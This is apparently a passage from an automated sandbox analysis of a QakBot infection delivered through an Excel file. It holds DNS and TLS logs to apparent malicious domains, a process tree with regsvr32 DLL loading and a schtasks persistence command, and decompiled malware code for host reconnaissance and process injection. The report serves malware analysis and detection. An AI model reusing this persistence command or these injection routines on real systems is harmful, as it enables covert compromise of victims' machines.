Jun 24, 2021 20:52:38.873672009 CEST	61531	53	192.168.2.4	8.8.8.8
Jun 24, 2021 20:52:38.931441069 CEST	53	61531	8.8.8.8	192.168.2.4
Jun 24, 2021 20:52:39.408198118 CEST	49228	53	192.168.2.4	8.8.8.8
Jun 24, 2021 20:52:39.466008902 CEST	53	49228	8.8.8.8	192.168.2.4
Jun 24, 2021 20:52:40.268268108 CEST	59794	53	192.168.2.4	8.8.8.8
Jun 24, 2021 20:52:40.323247910 CEST	53	59794	8.8.8.8	192.168.2.4
Jun 24, 2021 20:52:41.300545931 CEST	55916	53	192.168.2.4	8.8.8.8
Jun 24, 2021 20:52:41.358247042 CEST	53	55916	8.8.8.8	192.168.2.4
Jun 24, 2021 20:52:41.868838072 CEST	52752	53	192.168.2.4	8.8.8.8
Jun 24, 2021 20:52:41.924665928 CEST	53	52752	8.8.8.8	192.168.2.4
Jun 24, 2021 20:52:49.985790968 CEST	60542	53	192.168.2.4	8.8.8.8
Jun 24, 2021 20:52:50.041017056 CEST	53	60542	8.8.8.8	192.168.2.4
Jun 24, 2021 20:52:50.069133997 CEST	60689	53	192.168.2.4	8.8.8.8
Jun 24, 2021 20:52:50.133117914 CEST	53	60689	8.8.8.8	192.168.2.4
Jun 24, 2021 20:52:55.500143051 CEST	64206	53	192.168.2.4	8.8.8.8
Jun 24, 2021 20:52:55.564327002 CEST	53	64206	8.8.8.8	192.168.2.4
Jun 24, 2021 20:53:24.710867882 CEST	50904	53	192.168.2.4	8.8.8.8
Jun 24, 2021 20:53:24.774205923 CEST	53	50904	8.8.8.8	192.168.2.4
Jun 24, 2021 20:53:26.160170078 CEST	57525	53	192.168.2.4	8.8.8.8
Jun 24, 2021 20:53:26.217027903 CEST	53	57525	8.8.8.8	192.168.2.4
Jun 24, 2021 20:54:10.313337088 CEST	53814	53	192.168.2.4	8.8.8.8
Jun 24, 2021 20:54:10.390286922 CEST	53	53814	8.8.8.8	192.168.2.4
Jun 24, 2021 20:54:10.929649115 CEST	53418	53	192.168.2.4	8.8.8.8
Jun 24, 2021 20:54:10.976474047 CEST	53	53418	8.8.8.8	192.168.2.4

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class
Jun 24, 2021 20:51:59.018085957 CEST	192.168.2.4	8.8.8.8	0x2b13	Standard query (0)	carpascapital.com	A (IP address)	IN (0x0001)
Jun 24, 2021 20:52:00.620779991 CEST	192.168.2.4	8.8.8.8	0xaad0	Standard query (0)	gruasphenbogota.com	A (IP address)	IN (0x0001)

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class
Jun 24, 2021 20:51:59.214350939 CEST	8.8.8.8	192.168.2.4	0x2b13	No error (0)	carpascapital.com		50.116.92.246	A (IP address)	IN (0x0001)
Jun 24, 2021 20:52:00.675678015 CEST	8.8.8.8	192.168.2.4	0xaad0	No error (0)	gruasphenbogota.com		50.116.92.246	A (IP address)	IN (0x0001)
Jun 24, 2021 20:54:10.390286922 CEST	8.8.8.8	192.168.2.4	0xe13a	No error (0)	prda.aadg.msidentity.com	www.tm.a.prd.aadg.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)

HTTPS Packets

Timestamp	Source IP	Source Port	Dest IP	Dest Port	Subject	Issuer	Not Before	Not After	JA3 SSL Client Fingerprint	JA3 SSL Client Digest
Jun 24, 2021 20:51:59.543297052 CEST	50.116.92.246	443	192.168.2.4	49739	CN=*.carpascapital.com CN=R3, O=Let's Encrypt, C=US CN=ISRG Root X1, O=Internet Security Research Group, C=US	CN=R3, O=Let's Encrypt, C=US CN=ISRG Root X1, O=Internet Security Research Group, C=US CN=DST Root CA X3, O=Digital Signature Trust Co.	Fri May 21 05:30:14 CEST 2021 Fri Sep 04 02:00:00 CEST 2020 Wed Jan 20 20:14:03 CET 2021	Thu Aug 19 05:30:14 CEST 2021 Mon Sep 15 18:00:00 CEST 2025 Mon Sep 30 20:14:03 CEST 2024	771,49196-49195-49200-49199-49188-49187-49192-49191-49162-49161-49172-49171-157-156-61-60-53-47-10,0-10-11-13-35-23-65281,29-23-24,0	37f463bf4616ecd445d4a1937da06e19
					CN=R3, O=Let's Encrypt, C=US	CN=ISRG Root X1, O=Internet Security Research Group, C=US	Fri Sep 04 02:00:00 CEST 2020	Mon Sep 15 18:00:00 CEST 2025
					CN=ISRG Root X1, O=Internet Security Research Group, C=US	CN=DST Root CA X3, O=Digital Signature Trust Co.	Wed Jan 20 20:14:03 CET 2021	Mon Sep 30 20:14:03 CEST 2024
Jun 24, 2021 20:52:00.996279955 CEST	50.116.92.246	443	192.168.2.4	49742	CN=gruasphenbogota.com CN=R3, O=Let's Encrypt, C=US CN=ISRG Root X1, O=Internet Security Research Group, C=US	CN=R3, O=Let's Encrypt, C=US CN=ISRG Root X1, O=Internet Security Research Group, C=US CN=DST Root CA X3, O=Digital Signature Trust Co.	Mon May 10 05:47:53 CEST 2021 Fri Sep 04 02:00:00 CEST 2020 Wed Jan 20 20:14:03 CET 2021	Sun Aug 08 05:47:53 CEST 2021 Mon Sep 15 18:00:00 CEST 2025 Mon Sep 30 20:14:03 CEST 2024	771,49196-49195-49200-49199-49188-49187-49192-49191-49162-49161-49172-49171-157-156-61-60-53-47-10,0-10-11-13-35-23-65281,29-23-24,0	37f463bf4616ecd445d4a1937da06e19
					CN=R3, O=Let's Encrypt, C=US	CN=ISRG Root X1, O=Internet Security Research Group, C=US	Fri Sep 04 02:00:00 CEST 2020	Mon Sep 15 18:00:00 CEST 2025
					CN=ISRG Root X1, O=Internet Security Research Group, C=US	CN=DST Root CA X3, O=Digital Signature Trust Co.	Wed Jan 20 20:14:03 CET 2021	Mon Sep 30 20:14:03 CEST 2024

Code Manipulations

Statistics

CPU Usage

Click to jump to process

Memory Usage

Click to jump to process

High Level Behavior Distribution

Click to dive into process behavior distribution

Behavior

Click to jump to process

System Behavior

Analysis Process: EXCEL.EXE PID: 6964 Parent PID: 800

General

Start time:	20:51:53
Start date:	24/06/2021
Path:	C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE
Wow64 process (32bit):	true
Commandline:	'C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE' /automation -Embedding
Imagebase:	0xc70000
File size:	27110184 bytes
MD5 hash:	5D6638F2C8F8571C593999C58866007E
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Analysis Process: regsvr32.exe PID: 3492 Parent PID: 6964

General

Start time:	20:52:01
Start date:	24/06/2021
Path:	C:\Windows\SysWOW64\regsvr32.exe
Wow64 process (32bit):	true
Commandline:	regsvr32 ..\gihi1.dll
Imagebase:	0x13b0000
File size:	20992 bytes
MD5 hash:	426E7499F6A7346F0410DEAD0805586B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Qbot_1, Description: Yara detected Qbot, Source: 00000003.00000002.700614054.0000000001120000.00000004.00000001.sdmp, Author: Joe Security Rule: QakBot, Description: QakBot Payload, Source: 00000003.00000002.700614054.0000000001120000.00000004.00000001.sdmp, Author: kevoreilly
Reputation:	high

Chronological Activities

Analysis Process: explorer.exe PID: 5800 Parent PID: 3492

General

Start time:	20:52:10
Start date:	24/06/2021
Path:	C:\Windows\SysWOW64\explorer.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\explorer.exe
Imagebase:	0x12b0000
File size:	3611360 bytes
MD5 hash:	166AB1B9462E5C1D6D18EC5EC0B6A5F7
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: QakBot, Description: QakBot Payload, Source: 00000004.00000002.973589332.0000000001100000.00000040.00000001.sdmp, Author: kevoreilly
Reputation:	high

Chronological Activities

Analysis Process: regsvr32.exe PID: 4864 Parent PID: 6964

General

Start time:	20:52:11
Start date:	24/06/2021
Path:	C:\Windows\SysWOW64\regsvr32.exe
Wow64 process (32bit):	true
Commandline:	regsvr32 ..\gihi2.dll
Imagebase:	0x13b0000
File size:	20992 bytes
MD5 hash:	426E7499F6A7346F0410DEAD0805586B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Qbot_1, Description: Yara detected Qbot, Source: 00000006.00000002.711643542.0000000000F30000.00000004.00000001.sdmp, Author: Joe Security Rule: QakBot, Description: QakBot Payload, Source: 00000006.00000002.711643542.0000000000F30000.00000004.00000001.sdmp, Author: kevoreilly
Reputation:	high

Chronological Activities

Analysis Process: schtasks.exe PID: 6572 Parent PID: 5800

General

Start time:	20:52:12
Start date:	24/06/2021
Path:	C:\Windows\SysWOW64\schtasks.exe
Wow64 process (32bit):	true
Commandline:	'C:\Windows\system32\schtasks.exe' /Create /RU 'NT AUTHORITY\SYSTEM' /tn wtdsqwcv /tr 'regsvr32.exe -s \'C:\Users\user\gihi1.dll\'' /SC ONCE /Z /ST 20:54 /ET 21:06
Imagebase:	0x1390000
File size:	185856 bytes
MD5 hash:	15FF7D8324231381BAD48A052F85DF04
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Analysis Process: conhost.exe PID: 6696 Parent PID: 6572

General

Start time:	20:52:12
Start date:	24/06/2021
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff724c50000
File size:	625664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Analysis Process: regsvr32.exe PID: 6868 Parent PID: 968

General

Start time:	20:52:13
Start date:	24/06/2021
Path:	C:\Windows\System32\regsvr32.exe
Wow64 process (32bit):	false
Commandline:	regsvr32.exe -s 'C:\Users\user\gihi1.dll'
Imagebase:	0x7ff65e5f0000
File size:	24064 bytes
MD5 hash:	D78B75FC68247E8A63ACBA846182740E
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Analysis Process: regsvr32.exe PID: 7092 Parent PID: 6868

General

Start time:	20:52:13
Start date:	24/06/2021
Path:	C:\Windows\SysWOW64\regsvr32.exe
Wow64 process (32bit):	true
Commandline:	-s 'C:\Users\user\gihi1.dll'
Imagebase:	0x13b0000
File size:	20992 bytes
MD5 hash:	426E7499F6A7346F0410DEAD0805586B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Analysis Process: explorer.exe PID: 7024 Parent PID: 4864

General

Start time:	20:52:15
Start date:	24/06/2021
Path:	C:\Windows\SysWOW64\explorer.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\explorer.exe
Imagebase:	0x12b0000
File size:	3611360 bytes
MD5 hash:	166AB1B9462E5C1D6D18EC5EC0B6A5F7
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: QakBot, Description: QakBot Payload, Source: 0000000D.00000002.713096999.0000000000660000.00000040.00000001.sdmp, Author: kevoreilly
Reputation:	high

Chronological Activities

Analysis Process: WerFault.exe PID: 5044 Parent PID: 7092

General

Start time:	20:52:16
Start date:	24/06/2021
Path:	C:\Windows\SysWOW64\WerFault.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\WerFault.exe -u -p 7092 -s 652
Imagebase:	0xa60000
File size:	434592 bytes
MD5 hash:	9E2B8ACAD48ECCA55C0230D63623661B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Analysis Process: regsvr32.exe PID: 5824 Parent PID: 968

General

Start time:	20:54:00
Start date:	24/06/2021
Path:	C:\Windows\System32\regsvr32.exe
Wow64 process (32bit):	false
Commandline:	regsvr32.exe -s 'C:\Users\user\gihi1.dll'
Imagebase:	0x7ff65e5f0000
File size:	24064 bytes
MD5 hash:	D78B75FC68247E8A63ACBA846182740E
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Analysis Process: regsvr32.exe PID: 6700 Parent PID: 5824

General

Start time:	20:54:00
Start date:	24/06/2021
Path:	C:\Windows\SysWOW64\regsvr32.exe
Wow64 process (32bit):	true
Commandline:	-s 'C:\Users\user\gihi1.dll'
Imagebase:	0x13b0000
File size:	20992 bytes
MD5 hash:	426E7499F6A7346F0410DEAD0805586B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: WerFault.exe PID: 6372 Parent PID: 6700

General

Start time:	20:54:02
Start date:	24/06/2021
Path:	C:\Windows\SysWOW64\WerFault.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\WerFault.exe -u -p 6700 -s 652
Imagebase:	0xa60000
File size:	434592 bytes
MD5 hash:	9E2B8ACAD48ECCA55C0230D63623661B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Disassembly

Code Analysis

Reset < >

Analysis Process: regsvr32.exe PID: 3492 Parent PID: 6964 regsvr32.exeCOMMON

Execution Graph

Execution Coverage:	7.9%
Dynamic/Decrypted Code Coverage:	0.8%
Signature Coverage:	5.6%
Total number of Nodes:	2000
Total number of Limit Nodes:	50

Executed Functions

Function 1000EB53, Relevance: 37.0, APIs: 16, Strings: 5, Instructions: 284
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 88%

			E1000EB53(void* __fp0) {
				long _v8;
				struct _OSVERSIONINFOA* _v12;
				long _v16;
				struct HINSTANCE__* _v20;
				union _SID_NAME_USE _v24;
				struct _SYSTEM_INFO _v60;
				char _v188;
				short _v704;
				char _v712;
				char _v3212;
				void* __ebx;
				void* __edi;
				void* __esi;
				struct HINSTANCE__* _t85;
				struct _OSVERSIONINFOA* _t86;
				void** _t94;
				void* _t95;
				intOrPtr _t96;
				intOrPtr _t97;
				intOrPtr _t98;
				int _t105;
				intOrPtr _t111;
				short* _t113;
				intOrPtr _t120;
				long _t124;
				signed int _t126;
				long _t128;
				intOrPtr _t129;
				intOrPtr _t134;
				intOrPtr _t137;
				intOrPtr _t140;
				intOrPtr _t144;
				intOrPtr _t156;
				intOrPtr _t158;
				intOrPtr _t161;
				intOrPtr _t164;
				intOrPtr _t166;
				signed int _t171;
				char* _t177;
				intOrPtr _t179;
				WCHAR* _t180;
				void* _t182;
				void* _t185;
				intOrPtr _t187;
				struct _OSVERSIONINFOA* _t203;
				char* _t208;
				char* _t209;
				char* _t210;
				void* _t212;
				WCHAR* _t215;
				struct _OSVERSIONINFOA* _t216;
				void* _t218;
				intOrPtr* _t220;
				void* _t238;

				_t238 = __fp0;
				_t85 =  *0x1002b774; // 0x10000000
				_v16 = _v16 & 0x00000000;
				_v20 = _t85;
				_t86 = E10009568(0x1ac4);
				_t203 = _t86;
				_v12 = _t203;
				if(_t203 == 0) {
					return _t86;
				}
				 *((intOrPtr*)(_t203 + 0x1640)) = GetCurrentProcessId();
				_t6 = _t203 + 0x648; // 0x648
				E1001B7B4(GetTickCount() +  *((intOrPtr*)(_t203 + 0x1640)), _t6);
				_t185 = _t212;
				_t8 = _t203 + 0x1644; // 0x1644
				_t213 = _t8;
				if(GetModuleFileNameW(0, _t8, 0x105) != 0) {
					 *((intOrPtr*)(_t203 + 0x1854)) = E1000A986(_t213);
				}
				_t94 = E1000D18F(_t185, GetCurrentProcess()); // executed
				 *(_t203 + 0x110) = _t94;
				_t95 = E1000D1EF( *_t94);
				_pop(_t187);
				if(_t95 == 0) {
					_t96 = E1000D588(_t187); // executed
					__eflags = _t96;
					_t187 = (0 | _t96 > 0x00000000) + 1;
					__eflags = _t187;
					 *((intOrPtr*)(_t203 + 0x214)) = _t187;
				} else {
					 *((intOrPtr*)(_t203 + 0x214)) = 3;
				}
				_t15 = _t203 + 0x220; // 0x220, executed
				_t97 = E10013642(_t187, _t15); // executed
				 *((intOrPtr*)(_t203 + 0x218)) = _t97;
				_t98 = E10013513(_t187); // executed
				 *((intOrPtr*)(_t203 + 0x21c)) = _t98;
				 *(_t203 + 0x224) = _v20;
				_t24 = _t203 + 0x114; // 0x114
				_v16 = 0x80;
				_v8 = 0x100;
				if(LookupAccountSidW(0,  *( *(_t203 + 0x110)), _t24,  &_v16,  &_v704,  &_v8,  &_v24) == 0) {
					GetLastError();
				}
				_t105 = GetSystemMetrics(0x1000);
				_t32 = _t203 + 0x228; // 0x228
				_t215 = _t32;
				 *(_t203 + 0x1850) = 0 | _t105 > 0x00000000;
				GetModuleFileNameW( *(_t203 + 0x224), _t215, 0x105);
				GetLastError();
				 *((intOrPtr*)(_t203 + 0x434)) = E1000A986(_t215);
				_t36 = _t203 + 0x114; // 0x114
				_t111 = E1000CE78(_t105 > 0, _t36);
				_t37 = _t203 + 0xb0; // 0xb0
				_t177 = _t37;
				 *((intOrPtr*)(_t203 + 0xac)) = _t111;
				E1000CDF7(_t177, _t105, _t238, _t111);
				_t39 = _t203 + 0xd0; // 0xd0
				_t113 = _t39;
				if(_t177 != 0) {
					_t171 = MultiByteToWideChar(0, 0, _t177, 0xffffffff, _t113, 0x20);
					if(_t171 > 0) {
						 *((short*)(_t203 + 0xd0 + _t171 * 2)) = 0;
					}
				}
				_t198 = _t215;
				E1000A947(_t215, _t203 + 0x438);
				_t216 = _v12;
				E1000CE94(_t216 + 0x100c, _t238, E1000BF2C(0, _t177, E1000C90F(_t177)));
				_t120 = E1000D4EE(GetCurrentProcess, _t216, GetCurrentProcess()); // executed
				 *((intOrPtr*)(_t216 + 0x101c)) = _t120;
				memset(_t216, 0, 0x9c);
				_t220 = _t218 + 0x20;
				_t216->dwOSVersionInfoSize = 0x9c;
				GetVersionExA(_t216);
				_t179 =  *0x1002b760; // 0x121f8b0
				_v8 = _v8 & 0x00000000;
				if( *((intOrPtr*)(_t179 + 0x6c)) != 0) {
					 *((intOrPtr*)(_t179 + 0x6c))(GetCurrentProcess(),  &_v8);
				}
				_t124 = _v8;
				 *((intOrPtr*)(_t216 + 0xa8)) = _t124;
				if(_t124 == 0) {
					GetSystemInfo( &_v60);
					_t126 = _v60.dwOemId & 0x0000ffff;
				} else {
					_t126 = 9;
				}
				_t180 = _t216 + 0x1020;
				 *(_t216 + 0x9c) = _t126;
				GetWindowsDirectoryW(_t180, 0x104);
				_t128 = E10008A90(_t198, 0x8e4);
				_push(0x104);
				_t200 =  &_v712;
				_push( &_v712);
				_v8 = _t128;
				_push(_t128);
				_t129 =  *0x1002b760; // 0x121f8b0
				if( *((intOrPtr*)(_t129 + 0xe0))() == 0) {
					_t166 =  *0x1002b760; // 0x121f8b0
					 *((intOrPtr*)(_t166 + 0xfc))(_v8, _t180);
				}
				E1000A741( &_v8);
				 *_t220 = 0x209;
				_push(_t216 + 0x1434);
				_t134 =  *0x1002b760; // 0x121f8b0
				_t208 = L"USERPROFILE";
				_push(_t208);
				if( *((intOrPtr*)(_t134 + 0xe0))() == 0) {
					_t182 = _t216 + 0x1434;
					E1000AF04(_t182, 0x105, L"%s\\%s", _t180);
					_t164 =  *0x1002b760; // 0x121f8b0
					_t220 = _t220 + 0x14;
					 *((intOrPtr*)(_t164 + 0xfc))(_t208, _t182, "TEMP");
				}
				_push(0x20a);
				_push(_t216 + 0x122a);
				_t137 =  *0x1002b760; // 0x121f8b0
				_t209 = L"TEMP";
				_push(_t209);
				if( *((intOrPtr*)(_t137 + 0xe0))() == 0) {
					_t161 =  *0x1002b760; // 0x121f8b0
					 *((intOrPtr*)(_t161 + 0xfc))(_t209, _t216 + 0x1434);
				}
				_push(0x40);
				_push( &_v188);
				_t140 =  *0x1002b760; // 0x121f8b0
				_t210 = L"SystemDrive";
				_push(_t210);
				if( *((intOrPtr*)(_t140 + 0xe0))() == 0) {
					_t158 =  *0x1002b760; // 0x121f8b0
					 *((intOrPtr*)(_t158 + 0xfc))(_t210, L"C:");
				}
				_t144 =  *0x1002b760; // 0x121f8b0
				_v12 = 0x7f;
				 *((intOrPtr*)(_t144 + 0xb0))(_t216 + 0x199c,  &_v12);
				E1001B7B4(E1000BF2C(0, _t216 + 0x100c, E1000C90F(_t216 + 0x100c)),  &_v3212);
				E1001B86E( &_v3212, _t216 + 0x1858, 0x20);
				E1000AC12(_t216 + 0x1878, 1, 0x14, 0x1e,  &_v3212);
				_t156 = E1000E90B(_t200); // executed
				 *((intOrPtr*)(_t216 + 0x1898)) = _t156;
				return _t216;
			}

0x1000eb53
0x1000eb5c
0x1000eb61
0x1000eb6b
0x1000eb6e
0x1000eb73
0x1000eb76
0x1000eb7b
0x1000ef26
0x1000ef26
0x1000eb89
0x1000eb8f
0x1000eba3
0x1000eba9
0x1000ebb0
0x1000ebb0
0x1000ebc1
0x1000ebca
0x1000ebca
0x1000ebd7
0x1000ebdc
0x1000ebe4
0x1000ebea
0x1000ebed
0x1000ebfb
0x1000ec02
0x1000ec07
0x1000ec07
0x1000ec08
0x1000ebef
0x1000ebef
0x1000ebef
0x1000ec0e
0x1000ec14
0x1000ec19
0x1000ec1f
0x1000ec28
0x1000ec35
0x1000ec46
0x1000ec4d
0x1000ec5a
0x1000ec6f
0x1000ec71
0x1000ec71
0x1000ec81
0x1000ec8c
0x1000ec8c
0x1000ec99
0x1000ec9f
0x1000eca5
0x1000ecb2
0x1000ecb8
0x1000ecbf
0x1000ecc4
0x1000ecc4
0x1000eccb
0x1000ecd1
0x1000ecd8
0x1000ecd8
0x1000ece0
0x1000ecec
0x1000ecf4
0x1000ecf8
0x1000ecf8
0x1000ecf4
0x1000ed06
0x1000ed08
0x1000ed0d
0x1000ed26
0x1000ed37
0x1000ed48
0x1000ed4e
0x1000ed53
0x1000ed57
0x1000ed59
0x1000ed5f
0x1000ed65
0x1000ed6d
0x1000ed76
0x1000ed76
0x1000ed79
0x1000ed7c
0x1000ed84
0x1000ed8f
0x1000ed95
0x1000ed86
0x1000ed88
0x1000ed88
0x1000ed9f
0x1000eda6
0x1000edad
0x1000edb8
0x1000edbe
0x1000edbf
0x1000edc5
0x1000edc6
0x1000edc9
0x1000edca
0x1000edd7
0x1000edd9
0x1000ede2
0x1000ede2
0x1000edec
0x1000edf7
0x1000edfe
0x1000edff
0x1000ee04
0x1000ee09
0x1000ee12
0x1000ee24
0x1000ee2b
0x1000ee30
0x1000ee35
0x1000ee3a
0x1000ee3a
0x1000ee40
0x1000ee4b
0x1000ee4c
0x1000ee51
0x1000ee56
0x1000ee5f
0x1000ee68
0x1000ee6e
0x1000ee6e
0x1000ee74
0x1000ee7c
0x1000ee7d
0x1000ee82
0x1000ee87
0x1000ee90
0x1000ee92
0x1000ee9d
0x1000ee9d
0x1000eeae
0x1000eeb3
0x1000eeba
0x1000eee0
0x1000eef5
0x1000ef0d
0x1000ef15
0x1000ef1a
0x00000000

APIs

Part of subcall function 10009568: RtlAllocateHeap.NTDLL(00000008,?,?,1000AC93,00000100,?,10002E84), ref: 10009576

GetCurrentProcessId.KERNEL32 ref: 1000EB83
GetTickCount.KERNEL32 ref: 1000EB96
GetModuleFileNameW.KERNEL32(00000000,00001644,00000105), ref: 1000EBB9
GetCurrentProcess.KERNEL32 ref: 1000EBD0
LookupAccountSidW.ADVAPI32(00000000,?,00000114,00000000,?,?,?), ref: 1000EC6A
GetLastError.KERNEL32 ref: 1000EC71
GetSystemMetrics.USER32(00001000), ref: 1000EC81
GetModuleFileNameW.KERNEL32(?,00000228,00000105), ref: 1000EC9F
GetLastError.KERNEL32 ref: 1000ECA5
MultiByteToWideChar.KERNEL32(00000000,00000000,000000B0,000000FF,000000D0,00000020), ref: 1000ECEC
GetCurrentProcess.KERNEL32 ref: 1000ED34
memset.MSVCRT ref: 1000ED4E
GetVersionExA.KERNEL32(?), ref: 1000ED59
GetCurrentProcess.KERNEL32(00000000), ref: 1000ED73
GetSystemInfo.KERNEL32(?), ref: 1000ED8F
GetWindowsDirectoryW.KERNEL32(?,00000104), ref: 1000EDAD

Strings

%s\%s, xrefs: 1000EE1A
TEMP, xrefs: 1000EE14
SystemDrive, xrefs: 1000EE82, 1000EE87, 1000EE9C
USERPROFILE, xrefs: 1000EE04, 1000EE09, 1000EE39
TEMP, xrefs: 1000EE51, 1000EE56, 1000EE6D

Memory Dump Source

Source File: 00000003.00000002.701108906.0000000010001000.00000040.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000003.00000002.701082448.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.701182570.0000000010020000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.701219486.000000001002A000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_10000000_regsvr32.jbxd

Similarity

API ID: CurrentProcess$ErrorFileLastModuleNameSystem$AccountAllocateByteCharCountDirectoryHeapInfoLookupMetricsMultiTickVersionWideWindowsmemset
String ID: %s\%s$SystemDrive$TEMP$TEMP$USERPROFILE
API String ID: 2826016863-2706916422
Opcode ID: 7d2f09f749e66ef52d0e69cf67424852fa84c7700ef942fc3f58f4a31cb6feb5
Instruction ID: 71c8bdc56c0c03e3cd9bd722bfb0b4640eca1f45a053b6ce0ea394ee01866c94
Opcode Fuzzy Hash: 7d2f09f749e66ef52d0e69cf67424852fa84c7700ef942fc3f58f4a31cb6feb5
Instruction Fuzzy Hash: 64B15C76A00749AFF700DBA4CC89FDAB7ACFF08340F104569F519E7152EB74AA458B60

Uniqueness

Uniqueness Score: -1.00%

Function 1000DDC7, Relevance: 31.7, APIs: 14, Strings: 4, Instructions: 227
nativeregistrymemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 81%

			E1000DDC7(void* _a4, void* _a8) {
				void* _v8;
				void* _v12;
				void* _v16;
				void* _v20;
				long _v24;
				long _v28;
				intOrPtr* _v32;
				void* _v40;
				void* _v44;
				char _v56;
				char _v72;
				struct _WNDCLASSEXA _v120;
				void* __esi;
				void* _t76;
				void* _t78;
				intOrPtr* _t82;
				intOrPtr _t88;
				void* _t108;
				void* _t116;
				void* _t121;
				struct HWND__* _t126;
				void* _t134;
				void* _t142;
				void* _t146;
				void* _t152;

				_t76 =  *0x1002b740; // 0x11a04a0
				_v16 = 0;
				_v44 = 0;
				_v40 = 0;
				_v12 = 0;
				_v8 = 0;
				_v24 = 0;
				if(( *(_t76 + 0x1898) & 0x00000040) != 0) {
					E10013418(0x1f4);
					_pop(_t134);
				}
				_v28 = 0;
				_v20 = E10008A90(_t134, 0xbc2);
				_t78 = E1000B8D9(_t77); // executed
				_push( &_v20);
				if(_t78 == 0) {
					E1000A741();
					_t82 =  *((intOrPtr*)(_a8 + 0x3c)) + _a8;
					_v32 = _t82;
					if( *_t82 != 0x4550) {
						L17:
						if(_v8 != 0) {
							_t88 =  *0x1002b820; // 0x121f9d8
							 *((intOrPtr*)(_t88 + 0x10))(_a4, _v8);
							_v8 = 0;
						}
						L19:
						if(_v12 != 0) {
							NtUnmapViewOfSection(GetCurrentProcess(), _v12);
						}
						if(_v16 != 0) {
							NtClose(_v16);
						}
						return _v8;
					}
					_v44 =  *((intOrPtr*)(_t82 + 0x50));
					if(NtCreateSection( &_v16, 0xe, 0,  &_v44, 0x40, 0x8000000, 0) < 0) {
						goto L17;
					}
					asm("movsd");
					asm("movsd");
					asm("movsd");
					asm("movsb");
					asm("movsd");
					asm("movsd");
					_v120.lpszClassName =  &_v56;
					asm("movsw");
					_v120.lpfnWndProc = DefWindowProcA;
					asm("movsb");
					_v120.cbWndExtra = 0;
					_v120.style = 0xb;
					_v120.lpszMenuName = 0;
					_v120.cbSize = 0x30;
					_v120.cbClsExtra = 0;
					_v120.hInstance = 0;
					if(RegisterClassExA( &_v120) != 0) {
						_t126 = CreateWindowExA(0,  &_v56,  &_v72, 0xcf0000, 0x80000000, 0x80000000, 0x1f4, 0x64, 0, 0, 0, 0);
						if(_t126 != 0) {
							DestroyWindow(_t126);
							UnregisterClassA( &_v56, 0);
						}
					}
					if(NtMapViewOfSection(_v16, GetCurrentProcess(),  &_v12, 0, 0, 0,  &_v24, 2, 0, 0x40) < 0 || NtMapViewOfSection(_v16, _a4,  &_v8, 0, 0, 0,  &_v24, 2, 0, 0x40) < 0) {
						goto L17;
					} else {
						_t108 = E100094C5( *0x1002b740, 0x1ac4);
						_v20 = _t108;
						if(_t108 == 0) {
							goto L17;
						}
						 *((intOrPtr*)(_t108 + 0x224)) = _v8;
						_t146 = VirtualAllocEx(_a4, 0, 0x1ac4, 0x1000, 4);
						WriteProcessMemory(_a4, _t146, _v20, 0x1ac4,  &_v28);
						E100094F4( &_v20, 0x1ac4);
						_t116 =  *0x1002b740; // 0x11a04a0
						_v20 = _t116;
						 *0x1002b740 = _t146;
						memcpy(_v12, _a8,  *(_v32 + 0x50));
						E1000E061(_v8, _v8, _v12, _a8);
						_t121 = E1000C90F("237");
						_t152 = 0xf;
						if(_t121 <= _t152) {
							_t152 = _t121;
						}
						_t142 = 0;
						if(_t152 <= 0) {
							L16:
							 *0x1002b740 = _v20;
							goto L19;
						} else {
							do {
								_t142 = _t142 + 1;
							} while (_t142 < _t152);
							goto L16;
						}
					}
				}
				E1000A741();
				return 0;
			}

0x1000ddcd
0x1000ddd6
0x1000ddd9
0x1000dddc
0x1000dddf
0x1000dde2
0x1000dde5
0x1000ddf0
0x1000ddf7
0x1000ddfc
0x1000ddfc
0x1000de02
0x1000de0b
0x1000de0e
0x1000de1a
0x1000de1b
0x1000de2a
0x1000de36
0x1000de3e
0x1000de41
0x1000dfff
0x1000e002
